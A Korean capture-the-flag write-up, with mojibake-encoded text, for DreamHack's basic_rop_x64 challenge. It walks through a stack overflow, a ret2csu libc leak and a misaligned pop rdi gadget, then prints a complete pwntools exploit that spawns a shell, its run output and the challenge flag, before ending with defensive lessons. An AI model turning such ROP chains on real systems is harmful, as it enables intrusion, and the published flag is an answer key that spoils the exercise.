๋ฌธ์ : DreamHack โ basic_rop_x64 ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
์ด๋ฆ ๊ทธ๋๋ก "๊ธฐ๋ณธ ROP" ๋ฌธ์ ์ธ๋ฐ, ์ ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฏ์ด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ธ ์กฐ๊ฐ ํ๋๊ฐ ๋น ์ ธ ์๋ค. system("/bin/sh")๋ฅผ ๋ถ๋ฅด๋ ค๋ฉด rdi์ ๋ฌธ์์ด ์ฃผ์๋ฅผ ๋ฃ์ด์ผ ํ๋๋ฐ, ์ด ์๊ณ static-ishํ ๋ฐ์ด๋๋ฆฌ ์ด๋์๋ pop rdi; ret ๊ฐ์ ๊น๋ํ ๊ฐ์ ฏ์ด ์ ๋ณด์ธ๋ค. ๋จ์ ๊ฑด __libc_csu_init๋ฟ์ด๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | basic_rop_x64 |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต | 64๋นํธ ELF ๋ฐ์ด๋๋ฆฌ + ์์ค + libc.so.6 + ์๊ฒฉ ์๋ฒ |
| ๋ณดํธ ๊ธฐ๋ฒ | NX on ยท Stack Canary off ยท PIE off ยท Partial RELRO |
| ํต์ฌ ๊ธฐ๋ฒ | ret2csu ๋ก pop rdi ๊ฐ์ ฏ ์์ด 3-์ธ์ ํจ์ ํธ์ถ โ libc leak โ ret2libc |
์นด๋๋ฆฌ๊ฐ ์์ด์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ฒ ์์ฒด๋ ์๋ฌด ๋ฐฉํด๋ ์ ๋ฐ๋๋ค. ๋ฌธ์ ๋ NX๊ฐ ์ผ์ ธ ์์ด ์คํ์ ์
ธ์ฝ๋๋ฅผ ๋ชป ์ฌ๋ฆฐ๋ค๋ ๊ฒ๊ณผ, system์ ๋ถ๋ฅผ pop rdi;ret ๊ฐ์ ฏ์ด ๋ฐ์ด๋๋ฆฌ์ ์ ๋ณด์ธ๋ค๋ ๊ฒ. __libc_csu_init์ ๋ ์ง์คํฐ ์ธํ
๋ฃจํด์ผ๋ก write(1, &GOT[read], 8)์ ํธ์ถํด libc ์ฃผ์๋ฅผ ํ๋ฆฌ๊ณ , ๋ช
๋ น์ด ์ค๊ฐ ์คํ์
์ ์จ์ด ์๋ ๊ฐ์ ฏ ํ๋๋ฅผ ์ฐพ์ system("/bin/sh")๋ก ๋ง๋ฌด๋ฆฌํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ NX, ๊ทธ๋ฆฌ๊ณ "๊ฐ์ ฏ์ด ์์ ๋"
**NX(No-eXecute)**๋ ์คํ ๊ฐ์ ๋ฐ์ดํฐ ์์ญ์์ ์ฝ๋ ์คํ์ ๋ง๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค. ์ผ์ ธ ์์ผ๋ฉด ์คํ์ ์ ธ์ฝ๋๋ฅผ ์ฌ๋ ค๋ ์คํ ์์ฒด๊ฐ ์ ๋๋, ๊ณต๊ฒฉ์๋ ๋ฐ์ด๋๋ฆฌยท๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ด๋ฏธ ์๋ ์ฝ๋ ์กฐ๊ฐ(๊ฐ์ ฏ)์ ์ด์ด ๋ถ์ฌ ์คํ ํ๋ฆ์ ์กฐ๋ฆฝํด์ผ ํ๋ค โ ์ด๊ฒ ROP(Return Oriented Programming)๋ค.
๋ฆฌ๋
์ค x86-64 ํจ์ ํธ์ถ ๊ท์ฝ(System V ABI)์ ์ฒซ ์ธ ์ ์ ์ธ์๋ฅผ rdi, rsi, rdx ์์ผ๋ก ๋๊ธด๋ค. system("/bin/sh")์ฒ๋ผ ์ธ์ ํ๋์ง๋ฆฌ ํธ์ถ๋ rdi๋ฅผ ์ํ๋ ๊ฐ์ผ๋ก ์ฑ์ธ ๋ฐฉ๋ฒ์ด ์์ด์ผ ํ๋๋ฐ, ์ปดํ์ผ๋ฌ๊ฐ ๋๋ํ๊ฒ ์ฝ๋๋ฅผ ์ง๋ ํฐ ๋ฐ์ด๋๋ฆฌ๋ผ๋ฉด ์ฐ์ฐํ pop rdi; ret ํ ์ค ์ ๋๋ ์ด๋์ ๊ฐ ๋์จ๋ค. ์ด ๋ฌธ์ ๋ ๊ทธ๋ฐ ์ฌ์ ๊ฐ ์๋ ์์ ๋ฐ์ด๋๋ฆฌ๋ค. checksec๋ถํฐ ํ์ธํด ๋ณธ๋ค.
pwn checksec ./basic_rop_x64
No PIE๋ผ ์ฝ๋ ์ฃผ์๊ฐ ๊ณ ์ ์ด๊ณ , No canary๋ผ ๋ฐํ ์ฃผ์๊น์ง ๋ฐ๋ก ๋ฎ์ ์ ์๋ค. ์ ์ผํ ์ฅ์ ๋ฌผ์ NX enabled ํ๋๋ฟ์ด๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์์ค๋ ์ ๋ง ์งง๋ค.
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize(); // setvbuf + alarm(30)
read(0, buf, 0x400); // buf๋ 0x40์ธ๋ฐ 0x400์ ์ฝ๋๋ค โ BOF
write(1, buf, sizeof(buf)); // ์ฒ์ 0x40๋ฐ์ดํธ๋ง ๊ทธ๋๋ก ๋๋๋ ค์ค
return 0;
}buf๋ 0x40๋ฐ์ดํธ์ธ๋ฐ read๋ 0x400๋ฐ์ดํธ๋ฅผ ๋ฐ๋๋ค. ์นด๋๋ฆฌ๊ฐ ์์ผ๋ ์ ์ฅ๋ rbp์ ๋ฐํ ์ฃผ์๊น์ง ๊ทธ๋๋ก ๋ฎ์ธ๋ค. ๋์ค์ด์
๋ธ๋ก ์ ํํ ์คํ ๋ฐฐ์น๋ฅผ ํ์ธํ๋ค.
objdump -d -M intel ./basic_rop_x64 --start-address=0x4007ba --stop-address=0x40081a
lea rdx,[rbp-0x40]์ผ๋ก buf๊ฐ rbp-0x40์ ์๋ ๊ฑธ ์ ์ ์๋ค. ์ ์ฅ๋ rbp(8๋ฐ์ดํธ)๊น์ง ํฉ์น๋ฉด buf์์ ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ๋ 0x40 + 8 = 0x48. ์ด ์คํ์
๋ค์ ์ํ๋ ์ฃผ์๋ฅผ ์ผ๋ง๋ ์ง ์ด์ด ๋ถ์ผ ์ ์๋ค.
write(1, buf, 0x40)์ ๊ทธ๋ฅ ์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ ์ฒ์ 0x40๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ๋๋ ค์ค ๋ฟ์ด๋ผ ์ฌ๊ธฐ์ leak์ ๋ชป ์ด๋ค โ ์ ๋ณด ๋
ธ์ถ์ ์ฐ๋ฆฌ๊ฐ ์ง์ ๋ง๋ค์ด์ผ ํ๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ
๋ฒํผ ๊ฒฝ๊ณ๋ฅผ ๋๋ ์ ๋ ฅ์ด ์ธ์ ํ ์คํ ๋ฐ์ดํฐ(์ ์ฅ๋ rbp, ๋ฐํ ์ฃผ์)๋ฅผ ๊ทธ๋๋ก ๋ฎ์ด์ฐ๋ ๊ฒ BOF์ ๋ณธ์ง์ด๋ค.

์ถ์ฒ: Wikimedia Commons, CC BY-SA 2.0
์ด ๋ฌธ์ ๋ ์นด๋๋ฆฌ๋ ์๊ณ PIE๋ ๊บผ์ ธ ์์ด์ BOF ์์ฒด์ ๋์ด๋๋ ๋ฎ๋ค. ์ง์ง ๋ฌธ์ ๋ ๊ทธ๋ค์ ๋จ๊ณ โ NX ๋๋ฌธ์ ์ ธ์ฝ๋๋ฅผ ๋ชป ์ฐ๋, ๋ฎ์ด์ด ๋ฐํ ์ฃผ์๊ฐ ๊ฐ๋ฆฌํฌ ๊ณณ์ ์ฝ๋ ์์์ ์ฐพ์์ผ ํ๋ค๋ ์ ์ด๋ค.
๐ฃ ํต์ฌ โ ret2csu ๋ก ์ธ์ 3๊ฐ ์ฑ์ฐ๊ธฐ
์ ํํ __libc_csu_init์ธ๊ฐ
nm/objdump๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ ธ๋ pop rdi; ret์ด ๋จ๋
์ผ๋ก๋ ์ ๋ณด์ธ๋ค. ๋์ ์ ์ ๋งํฌ ์คํ
์ธ __libc_csu_init์ด ์๋ค โ glibc๊ฐ .init_array์ ๊ฐ ์ด๊ธฐํ ํจ์๋ฅผ ํธ์ถํ ๋ ์ฐ๋ ๋ฒ์ฉ ๋ฃจํ์ธ๋ฐ, ์ด ๋ฃจํ์ ์ด์
๋ธ๋ฆฌ๊ฐ ์ฐ์ฐํ๋ ์ต๊ณ ์ ROP ๊ฐ์ ฏ ์ฐฝ๊ณ ๋ค.
objdump -d -M intel ./basic_rop_x64 --start-address=0x400860 --stop-address=0x400885
๋ ์กฐ๊ฐ์ด ๋ถ์ด ์๋ค.
csu_pop(0x40087a):pop rbx,rbp,r12,r13,r14,r15; retโ ๋ ์ง์คํฐ 6๊ฐ๋ฅผ ํ ๋ฒ์ ์ฑ์ด๋ค.csu_call(0x400860):mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]โr13/r14/r15๋ฅผrdx/rsi/edi๋ก ์ฎ๊ธด ๋คr12+rbx*8์ฃผ์์ ํจ์ ํฌ์ธํฐ๋ฅผ ํธ์ถํ๋ค.
csu_pop์ผ๋ก ์ฌ์ฏ ๋ ์ง์คํฐ๋ฅผ ์ธํ
ํ๊ณ csu_call๋ก ๋ฐ์ด๋ค๋ฉด, rdxยทrsiยทedi ์ธ ์ธ์๋ฅผ ๋์์ ์ฑ์ด ์ฑ๋ก ์์์ ํจ์ ํฌ์ธํฐ๋ฅผ ํธ์ถํ ์ ์๋ค โ ์ด๊ฒ ret2csu๋ค. rbx=0, rbp=1๋ก ๋ง์ถ๋ฉด call [r12+0]์ ์ ํํ ํ ๋ฒ๋ง ์คํํ๊ณ ๋น ์ ธ๋์จ๋ค.
์ด ๋ฌธ์ ์์ ๋ถ๋ฅผ ํจ์๋ write(fd, buf, len). GOT์์ write์ ์ค์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์ r12์ ๋ฃ๊ณ , r13=8(๊ธธ์ด), r14=&GOT[read](leak ๋์), r15=1(fd=stdout)๋ก ์ฑ์ฐ๋ฉด write(1, &GOT[read], 8)์ด ์คํ๋์ด read()์ ์ค์ libc ์ฃผ์ 8๋ฐ์ดํธ๊ฐ ์์ผ์ผ๋ก ๊ทธ๋๋ก ๋๋์์จ๋ค.
python3 -c "
from pwn import ELF
e = ELF('./basic_rop_x64', checksec=False)
print('got_read ', hex(e.got['read']))
print('got_write', hex(e.got['write']))
"got_read 0x601030
got_write 0x601020puts(got_read)์ฒ๋ผ ๋ฌธ์์ด ํจ์๋ก leakํ๋ฉด ์ฃผ์์ ๋๋ฐ์ดํธ๊ฐ ์์์ ๋ ์ค๊ฐ์ ์๋ฆด ์ํ์ด ์๋๋ฐ, write๋ ๊ธธ์ด๋ฅผ ์ง์ ์ง์ ํ๋ 8๋ฐ์ดํธ๊ฐ ํญ์ ํต์งธ๋ก ๋์จ๋ค.
leak์ด ๋๋๋ฉด csu_pop์ ์ํ๋ก๊ทธ๊ฐ ๋ค์ ๋ ์ง์คํฐ 6๊ฐ๋ฅผ popํ ๋ค ret์ผ๋ก ๋์์จ๋ค๋ ์ ๋ ํ์ด๋ก๋์ ๋ฐ์ํด์ผ ํ๋ค โ ์ด์ด์ ์คํ ์ ๋ ฌ์ฉ ret ๊ฐ์ ฏ(0x4005a9) ํ๋๋ฅผ ๋ ๋ฃ๊ณ main์ผ๋ก ๋ณต๊ท์ํค๋ฉด, ์นด๋๋ฆฌ๋ ์๊ณ ์ ์ญ ์ํ๋ ๊ฑฐ์ ๊ทธ๋๋ก๋ผ ํ๋ก๊ทธ๋จ์ด ์ฒ์๋ถํฐ ๋ค์ ์คํ๋๋ ๊ฒ์ฒ๋ผ ๋ ๋ฒ์งธ ์
๋ ฅ์ ๋ ๋ฐ๋๋ค.
์จ์ด ์๋ pop rdi; ret
libc ์ฃผ์๋ฅผ ํ๋ณดํ์ผ๋ ์ด์ system(binsh_addr)๋ง ๋ถ๋ฅด๋ฉด ๋๋ค. csu_pop์ rdi๋ฅผ ์ง์ ์ฑ์์ฃผ์ง ์์ผ๋ ๋ค๋ฅธ ๊ฐ์ ฏ์ด ํ์ํ๋ฐ, __libc_csu_init ๋์๋ฝ์ 1๋ฐ์ดํธ ์ด๊ธ๋๊ฒ ์ฝ์ผ๋ฉด ๋ต์ด ๋์จ๋ค.
objdump -d -M intel ./basic_rop_x64 --start-address=0x400880 --stop-address=0x400885
xxd -s 0x883 -l 2 basic_rop_x64
objdump๊ฐ ๋ณด์ฌ์ฃผ๋ ์ ์ ๋ช
๋ น์ pop r14; pop r15; ret(41 5e / 41 5f / c3)์ด๋ค. ๊ทธ๋ฐ๋ฐ x86์ ๊ฐ๋ณ ๊ธธ์ด ๋ช
๋ น์ด๋ผ ์๋ฌด ๋ฐ์ดํธ์์๋ ์คํ์ ์์ํ ์ ์๋ค. 0x400883์ 41 5f(pop r15)์ ๋ ๋ฒ์งธ ๋ฐ์ดํธ, ์ฆ 0x5f ํ๋๋ค. REX ํ๋ฆฌํฝ์ค(0x41) ์์ด 0x5f๋ ๊ทธ๋ฅ pop rdi๊ณ , ๋ฐ๋ก ๋ค์ c3(ret)๊ฐ ์ด์ด์ง๋ค.
0x400883: 5f c3 โ pop rdi ; ret๋ฐ์ด๋๋ฆฌ ์ด๋์๋ "์ค๊ณ๋" pop rdi;ret์ ์์ง๋ง, pop r15๋ผ๋ ๋ค๋ฅธ ๋ช
๋ น์ ๋ชธํต ์์ ์ฐ์ฐํ ํ๋๊ฐ ๊ฒน์ณ ์๋ ์
์ด๋ค. system๋ ์๊ธฐ ๋ด๋ถ์์ ์คํ ์ ๋ ฌ์ ์๊ตฌํ๋, ์ฌ๊ธฐ์๋ ret ๊ฐ์ ฏ(0x4005a9) ํ ์นธ์ ๋ผ์ 16๋ฐ์ดํธ ์ ๋ ฌ์ ๋ง์ถ ๋ค system์ ํธ์ถํ๋ค.
๐ฏ ์ต์คํ๋ก์ ์ค๊ณ
์ ์ฒด ํ๋ฆ์ ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
1๋จ๊ณ ํ์ด๋ก๋ โ 'A'ร0x48 ํจ๋ฉ โ csu_pop โ (rbx=0, rbp=1, r12=&GOT[write], r13=8, r14=&GOT[read], r15=1) โ csu_call โ dummyร6(์ํ๋ก๊ทธ๊ฐ ๋ค์ pop) โ ret_gadget(์ ๋ ฌ) โ main.
์๋ฒ๊ฐ ์ด ํ์ด๋ก๋๋ฅผ ์ฒ๋ฆฌํ๋ฉด ์๋ main์ write(1, buf, 0x40) ์์ฝ๊ฐ ๋จผ์ ์ค๊ณ , ๊ณง์ด์ด ์ฐ๋ฆฌ๊ฐ ์ฃผ์
ํ write(1, &GOT[read], 8) ๊ฒฐ๊ณผ๊ฐ ์ด์ด์ ์จ๋ค. ์์ ์์ฝ๋ฅผ ๋ฒ๋ฆฌ๊ณ ๋ค์ 8๋ฐ์ดํธ๋ง ์ทจํ๋ฉด read()์ ์ค์ ์ฃผ์๋ค.
io.send(payload)
io.recvn(BUF, timeout=5) # main() ์์ ์ echo (์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ ํจ๋ฉ) ๋ฒ๋ฆผ
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']2๋จ๊ณ ํ์ด๋ก๋ โ 'A'ร0x48 ํจ๋ฉ โ pop_rdi_ret(0x400883) โ binsh_addr โ ret_gadget(์ ๋ ฌ) โ system_addr. main์ด ๋ค์ ์ด์ด ์ค ๋ ๋ฒ์งธ ์
๋ ฅ์ฐฝ์ ์ด๊ฑธ ๋ณด๋ด๋ฉด system("/bin/sh")๊ฐ ๋จ์ด์ง๋ค.
๐ Full Exploit
์ค์ ๋ก ๋๋ฆฐ solve.py. pwntools์ ELF๋ก GOTยทlibc ์ฌ๋ณผ์ ๊ทธ๋๋ก ๊ฐ์ ธ์ ์คํ์
๊ณ์ฐ์ ์์ผ๋ก ํ์ง ์๋๋ค.
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 15000)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
io = remote(HOST, PORT)
BUF = 0x40
OFFSET = BUF + 8 # buf(0x40) + ์ ์ฅ๋ rbp(8) = ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ
pop_rdi_ret = 0x400883 # pop rdi ; ret (pop r15 ์ค๊ฐ์์ ์ฌํด์)
csu_pop = 0x40087a # pop rbx,rbp,r12,r13,r14,r15 ; ret
csu_call = 0x400860 # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]
ret_gadget = 0x4005a9 # ์คํ ์ ๋ ฌ์ฉ ๋จ๋
ret
main = e.symbols['main']
got_read = e.got['read']
got_write = e.got['write']
# ---- 1๋จ๊ณ: write(1, &got_read, 8) ๋ก libc leak ํ main ์ฌ์ง์
----
payload = b'A' * OFFSET
payload += p64(csu_pop)
payload += p64(0) # rbx = 0 -> call [r12 + 0]
payload += p64(1) # rbp = 1 -> ๋ฃจํ ์ ํํ 1ํ
payload += p64(got_write) # r12 = write ์ GOT ์ฌ๋กฏ (ํธ์ถ ๋์)
payload += p64(8) # r13 -> rdx = 8 (๊ธธ์ด)
payload += p64(got_read) # r14 -> rsi = &got_read (leak ๋์)
payload += p64(1) # r15 -> edi = 1 (fd)
payload += p64(csu_call)
payload += p64(0) * 6 # csu_pop ์ํ๋ก๊ทธ๊ฐ ๋ค์ pop ํ๋ 6๊ฐ ๋ ์ง์คํฐ
payload += p64(ret_gadget) # main ์ฌ์ง์
์ 16๋ฐ์ดํธ ์ ๋ ฌ
payload += p64(main)
io.send(payload)
io.recvn(BUF, timeout=5) # main() ์์ ์ write(1, buf, 0x40) ์์ฝ ๋ฒ๋ฆผ
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
log.success(f'leaked read() = {hex(read_addr)}')
libc.address = read_addr - libc.symbols['read']
log.success(f'libc base = {hex(libc.address)}')
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# ---- 2๋จ๊ณ: ๋ฐ์ด๋๋ฆฌ ์์ ์ pop rdi;ret ๊ฐ์ ฏ์ผ๋ก system("/bin/sh") ----
payload2 = b'A' * OFFSET
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(ret_gadget) # system() ๋ด๋ถ ํธ์ถ์ ์ํ ์ ๋ ฌ
payload2 += p64(system_addr)
io.send(payload2)
io.sendline(b'cat flag')
io.interactive()๋ก์ปฌ์์ ๋จผ์ ๊ฒ์ฆํ๋ค. ๋ฌธ์ ์ ๋ธ๋ ค ์จ Dockerfile์ ๊ทธ๋๋ก ๋น๋ํด ์ค์ ๋ฐฐํฌ ํ๊ฒฝ๊ณผ ๋์ผํ ์กฐ๊ฑด์์ ๋๋ ธ๋ค.
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
RUN apt-get update && apt-get -y install socat
...
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$userdocker build -t basic_rop_x64_local .
docker run -d -p 15000:10001 basic_rop_x64_local
python3 solve_auto.py HOST=127.0.0.1 PORT=15000์บก์ณ ์๋ํ ํ๊ฒฝ์ ์ง์ง tty๊ฐ ์๋๋ผ io.interactive()๊ฐ ๋ฉ์ถฐ ๋ฒ๋ ค์, ์บก์ณ์ฉ์ผ๋ก๋ io.interactive() ๋์ recvrepeat๋ก ์ถ๋ ฅ์ ๋ฐ์ ๋ฐ๋ก ์ข
๋ฃํ๋ ๋ณํ(solve_auto.py)์ ์ผ๋ค. ROP ์ฒด์ธ ๋ก์ง์ ์์ ํ ๋์ผํ๋ค.

๋ก์ปฌ ๊ฒ์ฆ์ด ๋๋๋ฉด ๊ทธ๋๋ก ์ค์ ์๋ฒ ์ฃผ์๋ง ๋ฐ๊ฟ ๋๋ฆฐ๋ค.
python3 solve_auto.py HOST=host3.dreamhack.games PORT=18803
[+] leaked read() = 0x7f8abe640980
[+] libc base = 0x7f8abe52c000
=== OUTPUT ===
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
=== END ===๋ก์ปฌ๊ณผ ๋ผ์ด๋ธ ๋ชจ๋ libc base์ ํ์ 12๋นํธ๊ฐ 0x000์ผ๋ก ๋๋๋ ๊ฒ ๋ณด์ธ๋ค โ ๋ฆฌ๋
์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ํญ์ ํ์ด์ง(0x1000) ๊ฒฝ๊ณ์ ๋งคํ๋๋, read()์ ์ค์ ์ฃผ์์์ libc.symbols['read'] ์คํ์
์ ๋นผ๋ฉด ๊ทธ ์ ๋ ฌ์ด ์ ํํ ๋ง์๋จ์ด์ง๋ ๊ฒ leak์ด ์ฑ๊ณตํ๋ค๋ ๋ฐฉ์ฆ์ด๋ค.
FLAG:
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
๐ ๊ฒฐ๋ก
๊ฐ์ ฏ์ด "์ ๋ณด์ธ๋ค"๋ ๊ฒ "์๋ค"๋ ๋ป์ ์๋๋ค.
์ด ๋ฌธ์ ์ ํต์ฌ์ ๋ ๊ฐ์ง๋ค. ํ๋๋ pop rdi;ret ํ๋ ์๋ ์์ ๋ฐ์ด๋๋ฆฌ์์๋ __libc_csu_init์ด๋ผ๋ ๋ฒ์ฉ ์ด๊ธฐํ ๋ฃจํด์ด ์ฌ์ค์ ๋ง๋ฅ gadget ์ธํธ๋ก ์ฐ์ธ๋ค๋ ๊ฒ. glibc๊ฐ ์ ์ ์ผ๋ก ๋งํฌํ๋ ์ด ๋ฃจํด์ ์ด๋ x86-64 ๋ฐ์ด๋๋ฆฌ์๋ ๊ฑฐ์ ๋๊ฐ์ ๋ชจ์์ผ๋ก ์กด์ฌํด์, ret2csu๋ ํน์ ๋ฌธ์ ๊ฐ ์๋๋ผ ์ผ๋ฐ์ ์ผ๋ก ๊บผ๋ด ์ธ ์ ์๋ ๊ธฐ๋ฒ์ด๋ค.
๋ค๋ฅธ ํ๋๋ x86์ ๊ฐ๋ณ ๊ธธ์ด ๋ช
๋ น์ด ๊ตฌ์กฐ ์์ฒด๊ฐ ๋ง๋๋ ๊ฐ์ ฏ์ด๋ค. pop rdi;ret์ "์ค๊ณ"ํ ์ฌ๋์ ์์ง๋ง, pop r15์ ์คํผ์ฝ๋ ๋ ๋ฒ์งธ ๋ฐ์ดํธ๊ฐ ์ฐ์ฐํ pop rdi์ ๊ฐ์ ๊ฐ์ด๋ผ ์ํ๋ ๊ฐ์ ฏ์ด ๋ช
๋ น์ด ํ๋ ์์ ๊ฒน์ณ ์กด์ฌํ๋ค. ๋์ค์ด์
๋ธ๋ฌ๊ฐ ๋ณด์ฌ์ฃผ๋ ๋ช
๋ น ๊ฒฝ๊ณ๋ ์คํ ํ๋ฆ์ด ๊ทธ ๊ฒฝ๊ณ๋ฅผ ์งํฌ ๋๋ง ์ ํจํ๋ค.
๋ฐฉ์ด ๊ด์ ์์ ์ ๋ฆฌํ๋ฉด:
- BOF ์์ฒด๋ฅผ ๋ง๋ ๊ฒ ์ฐ์ ์ด๋ค.
read(0, buf, 0x400)์ฒ๋ผ ๋ฒํผ ํฌ๊ธฐ์ ๋ฌด๊ดํ ๊ธธ์ด๋ฅผ ๋ฐ์ง ๋ง๊ณ , ํญ์sizeof(buf)๋ก ์ ํํ๋ค. ์นด๋๋ฆฌยทNXยทASLR์ ์ ๋ถ BOF๊ฐ ์ด๋ฏธ ์ผ์ด๋ ๋ค์์ ๋ฐฉ์ด์ ์ผ ๋ฟ์ด๋ค. - ๊ฐ์ ฏ์ด ์ ๋ณด์ธ๋ค๊ณ ์์ ํ ๊ฒ ์๋๋ค.
__libc_csu_init, PLT ์คํ , ํจ์ ํ๋กค๋ก๊ทธ/์ํ๋ก๊ทธ ๋ฑ ์ปดํ์ผ๋ฌ๊ฐ ํญ์ ๋ง๋ค์ด๋ด๋ ์ฝ๋ ์กฐ๊ฐ๋ง์ผ๋ก๋ ์์ ํจ์ ํธ์ถ ์ฒด์ธ์ ์งค ์ ์๋ค. Full RELRO + PIE + Canary๊ฐ ๋์์ ๊ฐ์ถฐ์ ธ์ผ ์ด๋ฐ ์ฒด์ธ์ด ํ์ค์ ์ผ๋ก ๋งํ๋ค. - libc ๋ฒ์ ์ ํ๋ฆฌ์ง ์๋ ๊ฒ ์ค์ํ๋ค. ์ด๋ฒ ๋ฌธ์ ๋ ๊ฒฐ๊ตญ 8๋ฐ์ดํธ leak ํ ๋ฒ์ผ๋ก
systemยท/bin/sh์ฃผ์๊ฐ ์ ๋ถ ๊ณ์ฐ๋๋ค. ์์์ ํจ์ ํฌ์ธํฐ๋ฅผ ์์ผ์ผ๋ก ๋๋๋ ค์ฃผ๋ ๋์(write,puts, ์๋ฌ ๋ฉ์์ง์ ์ฃผ์ ๋ ธ์ถ ๋ฑ)์ ํ๋๋ง ์์ด๋ ASLR์ด ์ฌ์ค์ ๋ฌด๋ ฅํ๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ